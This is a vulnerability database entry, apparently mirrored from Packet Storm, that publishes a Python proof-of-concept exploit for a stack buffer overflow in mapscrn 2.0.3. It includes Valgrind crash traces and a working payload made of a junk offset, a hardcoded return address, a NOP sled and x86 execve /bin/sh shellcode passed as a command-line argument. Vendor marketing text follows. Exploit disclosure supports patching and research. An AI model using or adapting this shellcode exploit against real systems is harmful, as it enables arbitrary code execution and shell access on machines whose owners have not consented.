Lucene search
K

Mapscrn 2.0.3 Buffer Overflow

🗓️ 09 Jun 2017 00:00:00Reported by Juan SaccoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 48 Views

Buffer Overflow in Mapscrn 2.0.3 on GNU/Linu

Code
`# Developed using Exploit Pack - http://exploitpack.com -  
<[email protected]>  
# Tested on: GNU/Linux - Kali 2017.1 Release  
#  
# Description: Mapscrn ( Part of setfont ) 2.0.3  
# The mapscrn command loads a user defined output character mapping  
table into the console driver.  
# The console driver may be later put into use user-defined mapping  
table mode by outputting a special  
# escape sequence to the console device.  
#  
# An attacker could exploit this vulnerability to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.  
#  
# Architecture: all  
#  
# Vendor homepage: http://ccross.msk.su  
#  
# Source and destination overlap in strcpy(0xbe95fc4c, 0xbe9610df)  
# at 0x4831518: strcpy (vg_replace_strmem.c:506)  
# by 0x10A71F: ??? (in /usr/bin/mapscrn)  
# by 0x10933B: ??? (in /usr/bin/mapscrn)  
# by 0x41414140: ???  
#  
# Invalid read of size 2  
# at 0x488DFCA: getenv (getenv.c:84)  
# by 0x48867AE: guess_category_value (dcigettext.c:1587)  
# by 0x48867AE: __dcigettext (dcigettext.c:667)  
# by 0x48855F5: dcgettext (dcgettext.c:47)  
# by 0x109733: ??? (in /usr/bin/mapscrn)  
# by 0x41414140: ???  
# Address 0x41414141 is not stack'd, malloc'd or (recently) free'd  
#  
# Process terminating with default action of signal 11 (SIGSEGV)  
# Access not within mapped region at address 0x41414141  
# at 0x488DFCA: getenv (getenv.c:84)  
# by 0x48867AE: guess_category_value (dcigettext.c:1587)  
# by 0x48867AE: __dcigettext (dcigettext.c:667)  
# by 0x48855F5: dcgettext (dcgettext.c:47)  
# by 0x109733: ??? (in /usr/bin/mapscrn)  
# by 0x41414140: ???  
  
  
import os,subprocess  
  
junk = "\x41" * 4880 # junk to offset  
nops = "\x90" * 24 # nops  
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
esp = "\xe0\xdf\xff\xbf" # Must be changed  
buffer = junk + esp + nops + shellcode # Craft the buffer  
  
try:  
print("[*] Mapscrn Stack-Based Buffer Overflow by Juan Sacco")  
print("[*] Please wait.. running")  
subprocess.call(["mapscrn", buffer])  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Mapscrn not found!"  
else:  
print "Error executing exploit"  
raise  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation